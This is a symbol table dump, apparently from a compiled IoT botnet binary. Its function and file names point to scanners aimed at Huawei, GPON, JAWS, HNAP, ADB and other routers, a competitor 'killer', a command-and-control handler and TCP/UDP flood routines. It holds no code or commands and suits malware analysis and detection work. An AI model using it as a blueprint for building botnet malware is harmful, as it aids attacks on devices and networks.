__init_array_end	.symtab	0x42000	0	NOTYPE	<unknown>	HIDDEN	SHN_ABS
__init_array_start	.symtab	0x42000	0	NOTYPE	<unknown>	HIDDEN	SHN_ABS
__length_dotted	.symtab	0x2d6d8	72	FUNC	<unknown>	HIDDEN	2
__length_question	.symtab	0x2cf40	36	FUNC	<unknown>	HIDDEN	2
__libc_close	.symtab	0x23420	68	FUNC	<unknown>	DEFAULT	2
__libc_connect	.symtab	0x28204	76	FUNC	<unknown>	DEFAULT	2
__libc_creat	.symtab	0x23608	24	FUNC	<unknown>	DEFAULT	2
__libc_fcntl	.symtab	0x232b0	136	FUNC	<unknown>	DEFAULT	2
__libc_fcntl64	.symtab	0x23338	100	FUNC	<unknown>	DEFAULT	2
__libc_fork	.symtab	0x23210	52	FUNC	<unknown>	DEFAULT	2
__libc_getpid	.symtab	0x23464	64	FUNC	<unknown>	DEFAULT	2
__libc_lseek64	.symtab	0x29c34	112	FUNC	<unknown>	DEFAULT	2
__libc_nanosleep	.symtab	0x29ca4	72	FUNC	<unknown>	DEFAULT	2
__libc_open	.symtab	0x23590	120	FUNC	<unknown>	DEFAULT	2
__libc_poll	.symtab	0x2bf78	76	FUNC	<unknown>	DEFAULT	2
__libc_read	.symtab	0x23620	76	FUNC	<unknown>	DEFAULT	2
__libc_recv	.symtab	0x2830c	32	FUNC	<unknown>	DEFAULT	2
__libc_recvfrom	.symtab	0x2832c	88	FUNC	<unknown>	DEFAULT	2
__libc_select	.symtab	0x236b8	84	FUNC	<unknown>	DEFAULT	2
__libc_send	.symtab	0x28384	32	FUNC	<unknown>	DEFAULT	2
__libc_sendto	.symtab	0x283a4	88	FUNC	<unknown>	DEFAULT	2
__libc_sigaction	.symtab	0x2bcf4	160	FUNC	<unknown>	DEFAULT	2
__libc_stack_end	.symtab	0x4872c	4	OBJECT	<unknown>	DEFAULT	10
__libc_waitpid	.symtab	0x237d8	20	FUNC	<unknown>	DEFAULT	2
__libc_write	.symtab	0x237ec	76	FUNC	<unknown>	DEFAULT	2
__malloc_heap	.symtab	0x421a0	4	OBJECT	<unknown>	DEFAULT	9
__malloc_heap_lock	.symtab	0x48710	24	OBJECT	<unknown>	DEFAULT	10
__malloc_sbrk_lock	.symtab	0x48ba8	24	OBJECT	<unknown>	DEFAULT	10
__muldi3	.symtab	0x2313c	212	FUNC	<unknown>	DEFAULT	2
__nameserver	.symtab	0x48bd0	12	OBJECT	<unknown>	HIDDEN	10
__nameservers	.symtab	0x48bdc	4	OBJECT	<unknown>	HIDDEN	10
__open_etc_hosts	.symtab	0x2d054	56	FUNC	<unknown>	HIDDEN	2
__open_nameservers	.symtab	0x2b9d4	744	FUNC	<unknown>	HIDDEN	2
__pagesize	.symtab	0x48734	4	OBJECT	<unknown>	DEFAULT	10
__preinit_array_end	.symtab	0x42000	0	NOTYPE	<unknown>	HIDDEN	SHN_ABS
__preinit_array_start	.symtab	0x42000	0	NOTYPE	<unknown>	HIDDEN	SHN_ABS
__pthread_initialize_minimal	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__pthread_mutex_init	.symtab	0x295b4	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_lock	.symtab	0x295b4	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_trylock	.symtab	0x295b4	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_unlock	.symtab	0x295b4	8	FUNC	<unknown>	DEFAULT	2
__pthread_return_0	.symtab	0x295b4	8	FUNC	<unknown>	DEFAULT	2
__pthread_return_void	.symtab	0x295bc	8	FUNC	<unknown>	DEFAULT	2
__raise	.symtab	0x2d390	24	FUNC	<unknown>	HIDDEN	2
__read_etc_hosts_r	.symtab	0x2d08c	772	FUNC	<unknown>	HIDDEN	2
__register_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__resolv_lock	.symtab	0x4238c	24	OBJECT	<unknown>	DEFAULT	9
__rtld_fini	.symtab	0x4873c	4	OBJECT	<unknown>	HIDDEN	10
__searchdomain	.symtab	0x48bc0	16	OBJECT	<unknown>	HIDDEN	10
__searchdomains	.symtab	0x48be0	4	OBJECT	<unknown>	HIDDEN	10
__sigaddset	.symtab	0x28558	44	FUNC	<unknown>	DEFAULT	2
__sigdelset	.symtab	0x28584	44	FUNC	<unknown>	DEFAULT	2
__sigismember	.symtab	0x28530	40	FUNC	<unknown>	DEFAULT	2
__socketcall	.symtab	0x298dc	72	FUNC	<unknown>	HIDDEN	2
__socketcall.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__stdin	.symtab	0x42070	4	OBJECT	<unknown>	DEFAULT	9
__stdio_READ	.symtab	0x2d720	104	FUNC	<unknown>	HIDDEN	2
__stdio_WRITE	.symtab	0x2a0b8	196	FUNC	<unknown>	HIDDEN	2
__stdio_adjust_position	.symtab	0x2c0f8	252	FUNC	<unknown>	HIDDEN	2
__stdio_fwrite	.symtab	0x2a17c	320	FUNC	<unknown>	HIDDEN	2
__stdio_init_mutex	.symtab	0x240e0	28	FUNC	<unknown>	HIDDEN	2
__stdio_mutex_initializer.3860	.symtab	0x305f0	24	OBJECT	<unknown>	DEFAULT	4
__stdio_rfill	.symtab	0x2d788	56	FUNC	<unknown>	HIDDEN	2
__stdio_seek	.symtab	0x2c1f4	52	FUNC	<unknown>	HIDDEN	2
__stdio_trans2r_o	.symtab	0x2d7c0	152	FUNC	<unknown>	HIDDEN	2
__stdio_trans2w_o	.symtab	0x2a2bc	252	FUNC	<unknown>	HIDDEN	2
__stdio_wcommit	.symtab	0x241ac	56	FUNC	<unknown>	HIDDEN	2
__stdout	.symtab	0x42074	4	OBJECT	<unknown>	DEFAULT	9
__syscall_fcntl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_fcntl64.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_rt_sigaction	.symtab	0x2bf28	80	FUNC	<unknown>	HIDDEN	2
__syscall_rt_sigaction.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__uClibc_fini	.symtab	0x29530	132	FUNC	<unknown>	DEFAULT	2
__uClibc_init	.symtab	0x29608	104	FUNC	<unknown>	DEFAULT	2
__uClibc_main	.symtab	0x29670	620	FUNC	<unknown>	DEFAULT	2
__uClibc_main.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__ubp_memchr	.symtab	0x2adb0	280	FUNC	<unknown>	DEFAULT	2
__uclibc_progname	.symtab	0x4237c	4	OBJECT	<unknown>	HIDDEN	9
__xpg_strerror_r	.symtab	0x27c14	284	FUNC	<unknown>	DEFAULT	2
__xpg_strerror_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__xstat64_conv	.symtab	0x29e64	140	FUNC	<unknown>	HIDDEN	2
__xstat_conv	.symtab	0x29ef0	156	FUNC	<unknown>	HIDDEN	2
_adjust_pos.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_charpad	.symtab	0x241e4	60	FUNC	<unknown>	DEFAULT	2
_cs_funcs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_dl_aux_init	.symtab	0x2bed0	28	FUNC	<unknown>	DEFAULT	2
_dl_phdr	.symtab	0x48be4	4	OBJECT	<unknown>	DEFAULT	10
_dl_phnum	.symtab	0x48be8	4	OBJECT	<unknown>	DEFAULT	10
_edata	.symtab	0x423bc	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_end	.symtab	0x48bf0	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_errno	.symtab	0x48744	4	OBJECT	<unknown>	DEFAULT	10
_exit	.symtab	0x2339c	64	FUNC	<unknown>	DEFAULT	2
_exit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fini	.symtab	0x2d8a0	8	FUNC	<unknown>	DEFAULT	3
_fixed_buffers	.symtab	0x46528	8192	OBJECT	<unknown>	DEFAULT	10
_fopen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fp_out_narrow	.symtab	0x24220	128	FUNC	<unknown>	DEFAULT	2
_fpmaxtostr	.symtab	0x2a5bc	1908	FUNC	<unknown>	HIDDEN	2
_fpmaxtostr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fwrite.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_h_errno	.symtab	0x48748	4	OBJECT	<unknown>	DEFAULT	10
_init	.symtab	0x10094	8	FUNC	<unknown>	DEFAULT	1
_load_inttype	.symtab	0x2a3b8	144	FUNC	<unknown>	HIDDEN	2
_load_inttype.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_init	.symtab	0x2491c	164	FUNC	<unknown>	HIDDEN	2
_ppfs_init.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_parsespec	.symtab	0x24c24	1352	FUNC	<unknown>	HIDDEN	2
_ppfs_parsespec.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_prepargs	.symtab	0x249c0	60	FUNC	<unknown>	HIDDEN	2
_ppfs_prepargs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_setargs	.symtab	0x249fc	480	FUNC	<unknown>	HIDDEN	2
_ppfs_setargs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_promoted_size	.symtab	0x24bdc	72	FUNC	<unknown>	DEFAULT	2
_pthread_cleanup_pop_restore	.symtab	0x295bc	8	FUNC	<unknown>	DEFAULT	2
_pthread_cleanup_push_defer	.symtab	0x295bc	8	FUNC	<unknown>	DEFAULT	2
_rfill.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_sigintr	.symtab	0x48b28	128	OBJECT	<unknown>	HIDDEN	10
_start	.symtab	0x101a4	56	FUNC	<unknown>	DEFAULT	2
_stdio.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_stdio_fopen	.symtab	0x23da4	732	FUNC	<unknown>	HIDDEN	2
_stdio_init	.symtab	0x24080	96	FUNC	<unknown>	HIDDEN	2
_stdio_openlist	.symtab	0x42078	4	OBJECT	<unknown>	DEFAULT	9
_stdio_openlist_add_lock	.symtab	0x4207c	24	OBJECT	<unknown>	DEFAULT	9
_stdio_openlist_dec_use	.symtab	0x251d4	276	FUNC	<unknown>	DEFAULT	2
_stdio_openlist_del_count	.symtab	0x46524	4	OBJECT	<unknown>	DEFAULT	10
_stdio_openlist_del_lock	.symtab	0x42094	24	OBJECT	<unknown>	DEFAULT	9
_stdio_openlist_use_count	.symtab	0x46520	4	OBJECT	<unknown>	DEFAULT	10
_stdio_streams	.symtab	0x420b0	240	OBJECT	<unknown>	DEFAULT	9
_stdio_term	.symtab	0x240fc	176	FUNC	<unknown>	HIDDEN	2
_stdio_user_locking	.symtab	0x420ac	4	OBJECT	<unknown>	DEFAULT	9
_stdlib_strto_l	.symtab	0x29110	428	FUNC	<unknown>	HIDDEN	2
_stdlib_strto_l.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_store_inttype	.symtab	0x2a448	60	FUNC	<unknown>	HIDDEN	2
_store_inttype.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_string_syserrmsgs	.symtab	0x30750	2934	OBJECT	<unknown>	HIDDEN	4
_string_syserrmsgs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_trans2r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_trans2w.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_uintmaxtostr	.symtab	0x2a484	312	FUNC	<unknown>	HIDDEN	2
_uintmaxtostr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_vfprintf_internal	.symtab	0x242a0	1660	FUNC	<unknown>	HIDDEN	2
_vfprintf_internal.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_wcommit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
abort	.symtab	0x2bd94	316	FUNC	<unknown>	DEFAULT	2
abort.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
adb_scanner.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
add_entry	.symtab	0x22010	140	FUNC	<unknown>	DEFAULT	2
adns	.symtab	0x1aee0	348	FUNC	<unknown>	DEFAULT	2
asus.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
atcp	.symtab	0x1a804	1756	FUNC	<unknown>	DEFAULT	2
atoi	.symtab	0x290e4	24	FUNC	<unknown>	DEFAULT	2
atol	.symtab	0x290e4	24	FUNC	<unknown>	DEFAULT	2
atol.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
audp	.symtab	0x1a1b0	1620	FUNC	<unknown>	DEFAULT	2
bcopy	.symtab	0x256d8	12	FUNC	<unknown>	DEFAULT	2
been_there_done_that	.symtab	0x48768	4	OBJECT	<unknown>	DEFAULT	10
been_there_done_that.2818	.symtab	0x48740	4	OBJECT	<unknown>	DEFAULT	10
bind	.symtab	0x281e0	36	FUNC	<unknown>	DEFAULT	2
bind.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
bot	.symtab	0x48774	512	OBJECT	<unknown>	DEFAULT	10
brk	.symtab	0x2beec	60	FUNC	<unknown>	DEFAULT	2
brk.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
bsd_signal	.symtab	0x28474	188	FUNC	<unknown>	DEFAULT	2
buf.4861	.symtab	0x48530	460	OBJECT	<unknown>	DEFAULT	10
bzero	.symtab	0x26d3c	52	FUNC	<unknown>	DEFAULT	2
c	.symtab	0x4202c	4	OBJECT	<unknown>	DEFAULT	9
call___do_global_ctors_aux	.symtab	0x2d894	0	FUNC	<unknown>	DEFAULT	2
call___do_global_dtors_aux	.symtab	0x1012c	0	FUNC	<unknown>	DEFAULT	2
call_frame_dummy	.symtab	0x10198	0	FUNC	<unknown>	DEFAULT	2
calloc	.symtab	0x286f0	112	FUNC	<unknown>	DEFAULT	2
calloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
chdir	.symtab	0x233dc	68	FUNC	<unknown>	DEFAULT	2
chdir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
checksum.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
checksum_generic	.symtab	0x101dc	224	FUNC	<unknown>	DEFAULT	2
checksum_tcp_udp	.symtab	0x19f00	468	FUNC	<unknown>	DEFAULT	2
checksum_tcpudp	.symtab	0x102bc	468	FUNC	<unknown>	DEFAULT	2
clock	.symtab	0x23ab4	56	FUNC	<unknown>	DEFAULT	2
clock.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
close	.symtab	0x23420	68	FUNC	<unknown>	DEFAULT	2
close.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
closedir	.symtab	0x23874	136	FUNC	<unknown>	DEFAULT	2
closedir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
cncinput	.symtab	0x1c7d8	6660	FUNC	<unknown>	DEFAULT	2
completed.2248	.symtab	0x423c0	1	OBJECT	<unknown>	DEFAULT	10
comtrend.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
conn_table	.symtab	0x48974	4	OBJECT	<unknown>	DEFAULT	10
connect	.symtab	0x28204	76	FUNC	<unknown>	DEFAULT	2
connect.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
connectTimeout	.symtab	0x19884	672	FUNC	<unknown>	DEFAULT	2
creat	.symtab	0x23608	24	FUNC	<unknown>	DEFAULT	2
crtstuff.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
crtstuff.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
csum	.symtab	0x19cd4	312	FUNC	<unknown>	DEFAULT	2
currentServer	.symtab	0x42028	4	OBJECT	<unknown>	DEFAULT	9
data_start	.symtab	0x42020	0	NOTYPE	<unknown>	DEFAULT	9
decodea.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
decoded.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
decodeh.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
dl-support.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
dnslookup.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
encoded.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
encodeh.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
encodeq.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
environ	.symtab	0x48730	4	OBJECT	<unknown>	DEFAULT	10
errno	.symtab	0x48744	4	OBJECT	<unknown>	DEFAULT	10
errno.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
estridx	.symtab	0x306c0	126	OBJECT	<unknown>	DEFAULT	4
exit	.symtab	0x292bc	128	FUNC	<unknown>	DEFAULT	2
exit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
exp10_table	.symtab	0x31658	72	OBJECT	<unknown>	DEFAULT	4
fclose	.symtab	0x23aec	324	FUNC	<unknown>	DEFAULT	2
fclose.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fcntl	.symtab	0x232b0	136	FUNC	<unknown>	DEFAULT	2
fcntl64	.symtab	0x23338	100	FUNC	<unknown>	DEFAULT	2
fdgets	.symtab	0x18410	224	FUNC	<unknown>	DEFAULT	2
fflush_unlocked	.symtab	0x252e8	420	FUNC	<unknown>	DEFAULT	2
fflush_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgetc_unlocked	.symtab	0x2d3cc	328	FUNC	<unknown>	DEFAULT	2
fgetc_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgets	.symtab	0x2c228	100	FUNC	<unknown>	DEFAULT	2
fgets.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgets_unlocked	.symtab	0x2c28c	192	FUNC	<unknown>	DEFAULT	2
fgets_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fmt	.symtab	0x31640	20	OBJECT	<unknown>	DEFAULT	4
fopen	.symtab	0x23c30	24	FUNC	<unknown>	DEFAULT	2
fopen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fork	.symtab	0x23210	52	FUNC	<unknown>	DEFAULT	2
fputc_unlocked	.symtab	0x2548c	292	FUNC	<unknown>	DEFAULT	2
fputc_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fputs_unlocked	.symtab	0x255b0	60	FUNC	<unknown>	DEFAULT	2
fputs_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
frame_dummy	.symtab	0x10138	0	FUNC	<unknown>	DEFAULT	2
free	.symtab	0x28760	232	FUNC	<unknown>	DEFAULT	2
free.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fseek	.symtab	0x2bfc4	36	FUNC	<unknown>	DEFAULT	2
fseeko	.symtab	0x2bfc4	36	FUNC	<unknown>	DEFAULT	2
fseeko.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fseeko64	.symtab	0x2bfe8	272	FUNC	<unknown>	DEFAULT	2
fseeko64.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fstat	.symtab	0x29924	104	FUNC	<unknown>	DEFAULT	2
fstat.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fwrite	.symtab	0x2516c	104	FUNC	<unknown>	DEFAULT	2
fwrite.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fwrite_unlocked	.symtab	0x255ec	176	FUNC	<unknown>	DEFAULT	2
fwrite_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getHost	.symtab	0x194b0	100	FUNC	<unknown>	DEFAULT	2
getOurIP	.symtab	0x1863c	884	FUNC	<unknown>	DEFAULT	2
getRandomIP	.symtab	0x183b0	96	FUNC	<unknown>	DEFAULT	2
get_hosts_byname_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getc_unlocked	.symtab	0x2d3cc	328	FUNC	<unknown>	DEFAULT	2
getdents.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getdents64.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getegid	.symtab	0x29b34	64	FUNC	<unknown>	DEFAULT	2
getegid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
geteuid	.symtab	0x29b74	64	FUNC	<unknown>	DEFAULT	2
geteuid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getgid	.symtab	0x29bb4	64	FUNC	<unknown>	DEFAULT	2
getgid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
gethostbyname	.symtab	0x27ea4	60	FUNC	<unknown>	DEFAULT	2
gethostbyname.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
gethostbyname_r	.symtab	0x27ee0	768	FUNC	<unknown>	DEFAULT	2
gethostbyname_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getpid	.symtab	0x23464	64	FUNC	<unknown>	DEFAULT	2
getpid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getppid	.symtab	0x234a4	64	FUNC	<unknown>	DEFAULT	2
getppid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getsockname	.symtab	0x28250	76	FUNC	<unknown>	DEFAULT	2
getsockname.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getsockopt	.symtab	0x2829c	84	FUNC	<unknown>	DEFAULT	2
getsockopt.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getuid	.symtab	0x29bf4	64	FUNC	<unknown>	DEFAULT	2
getuid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
gotIP	.symtab	0x424ac	4	OBJECT	<unknown>	DEFAULT	10
gpon8080_scanner.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
gpon80_scanner.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
h.4860	.symtab	0x486fc	20	OBJECT	<unknown>	DEFAULT	10
h_errno	.symtab	0x48748	4	OBJECT	<unknown>	DEFAULT	10
has_exe_access	.symtab	0x15da0	572	FUNC	<unknown>	DEFAULT	2
has_exe_access	.symtab	0x17c28	572	FUNC	<unknown>	DEFAULT	2
heap_alloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
heap_alloc_at.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
heap_free.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
hnap_scanner.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
hnapscanner_fake_time	.symtab	0x42418	4	OBJECT	<unknown>	DEFAULT	10
hnapscanner_get_random_ip	.symtab	0x117c0	856	FUNC	<unknown>	DEFAULT	2
hnapscanner_recv_strip_null	.symtab	0x10490	196	FUNC	<unknown>	DEFAULT	2
hnapscanner_rsck	.symtab	0x423e4	4	OBJECT	<unknown>	DEFAULT	10
hnapscanner_rsck_out	.symtab	0x423e8	4	OBJECT	<unknown>	DEFAULT	10
hnapscanner_scanner_init	.symtab	0x10554	4304	FUNC	<unknown>	DEFAULT	2
hnapscanner_scanner_kill	.symtab	0x11624	44	FUNC	<unknown>	DEFAULT	2
hnapscanner_scanner_pid	.symtab	0x423e0	4	OBJECT	<unknown>	DEFAULT	10
hnapscanner_scanner_rawpkt	.symtab	0x423f0	40	OBJECT	<unknown>	DEFAULT	10
hnapscanner_setup_connection	.symtab	0x11650	368	FUNC	<unknown>	DEFAULT	2
htonl	.symtab	0x27e68	8	FUNC	<unknown>	DEFAULT	2
htons	.symtab	0x27e70	12	FUNC	<unknown>	DEFAULT	2
huawei_scanner.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
huawei_scannerX.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
huaweiscanner_fake_time	.symtab	0x42458	4	OBJECT	<unknown>	DEFAULT	10
huaweiscanner_get_random_ip	.symtab	0x12e48	1196	FUNC	<unknown>	DEFAULT	2
huaweiscanner_recv_strip_null	.symtab	0x11b18	196	FUNC	<unknown>	DEFAULT	2
huaweiscanner_rsck	.symtab	0x42424	4	OBJECT	<unknown>	DEFAULT	10
huaweiscanner_rsck_out	.symtab	0x42428	4	OBJECT	<unknown>	DEFAULT	10
huaweiscanner_scanner_init	.symtab	0x11bdc	4304	FUNC	<unknown>	DEFAULT	2
huaweiscanner_scanner_kill	.symtab	0x12cac	44	FUNC	<unknown>	DEFAULT	2
huaweiscanner_scanner_pid	.symtab	0x42420	4	OBJECT	<unknown>	DEFAULT	10
huaweiscanner_scanner_rawpkt	.symtab	0x42430	40	OBJECT	<unknown>	DEFAULT	10
huaweiscanner_setup_connection	.symtab	0x12cd8	368	FUNC	<unknown>	DEFAULT	2
i.4712	.symtab	0x4204c	4	OBJECT	<unknown>	DEFAULT	9
index	.symtab	0x26f84	524	FUNC	<unknown>	DEFAULT	2
inet_addr	.symtab	0x27e7c	40	FUNC	<unknown>	DEFAULT	2
inet_aton	.symtab	0x2b1bc	220	FUNC	<unknown>	DEFAULT	2
inet_aton.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
inet_makeaddr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
inet_ntop	.symtab	0x2ca30	684	FUNC	<unknown>	DEFAULT	2
inet_ntop4	.symtab	0x2c88c	420	FUNC	<unknown>	DEFAULT	2
inet_pton	.symtab	0x2c66c	544	FUNC	<unknown>	DEFAULT	2
inet_pton4	.symtab	0x2c5a0	204	FUNC	<unknown>	DEFAULT	2
initConnection	.symtab	0x1e1dc	468	FUNC	<unknown>	DEFAULT	2
init_rand	.symtab	0x18168	228	FUNC	<unknown>	DEFAULT	2
initfini.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
initfini.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
initial_fa	.symtab	0x421a8	264	OBJECT	<unknown>	DEFAULT	9
initstate	.symtab	0x28cb0	96	FUNC	<unknown>	DEFAULT	2
initstate_r	.symtab	0x29000	228	FUNC	<unknown>	DEFAULT	2
ioctl	.symtab	0x234e4	100	FUNC	<unknown>	DEFAULT	2
ioctl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
isatty	.symtab	0x27dc4	32	FUNC	<unknown>	DEFAULT	2
isatty.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
isspace	.symtab	0x23838	24	FUNC	<unknown>	DEFAULT	2
isspace.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
jaws.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
jaws_fake_time	.symtab	0x42498	4	OBJECT	<unknown>	DEFAULT	10
jaws_get_random_ip	.symtab	0x14618	856	FUNC	<unknown>	DEFAULT	2
jaws_kill	.symtab	0x1447c	44	FUNC	<unknown>	DEFAULT	2
jaws_recv_strip_null	.symtab	0x132f4	196	FUNC	<unknown>	DEFAULT	2
jaws_rsck	.symtab	0x42464	4	OBJECT	<unknown>	DEFAULT	10
jaws_rsck_out	.symtab	0x42468	4	OBJECT	<unknown>	DEFAULT	10
jaws_scanner	.symtab	0x133b8	4292	FUNC	<unknown>	DEFAULT	2
jaws_scanner_pid	.symtab	0x42460	4	OBJECT	<unknown>	DEFAULT	10
jaws_scanner_rawpkt	.symtab	0x42470	40	OBJECT	<unknown>	DEFAULT	10
jaws_setup_connection	.symtab	0x144a8	368	FUNC	<unknown>	DEFAULT	2
kill	.symtab	0x23548	72	FUNC	<unknown>	DEFAULT	2
kill.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
killer.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
killerX.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
killer_init	.symtab	0x14970	2028	FUNC	<unknown>	DEFAULT	2
killer_kill	.symtab	0x1515c	44	FUNC	<unknown>	DEFAULT	2
killer_kill_by_port	.symtab	0x15188	3096	FUNC	<unknown>	DEFAULT	2
killer_pid	.symtab	0x4897c	4	OBJECT	<unknown>	DEFAULT	10
killer_realpath	.symtab	0x48978	4	OBJECT	<unknown>	DEFAULT	10
killer_realpath_len	.symtab	0x424a0	4	OBJECT	<unknown>	DEFAULT	10
lengthd.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
lengthq.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc/string/sparc/memchr.S	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
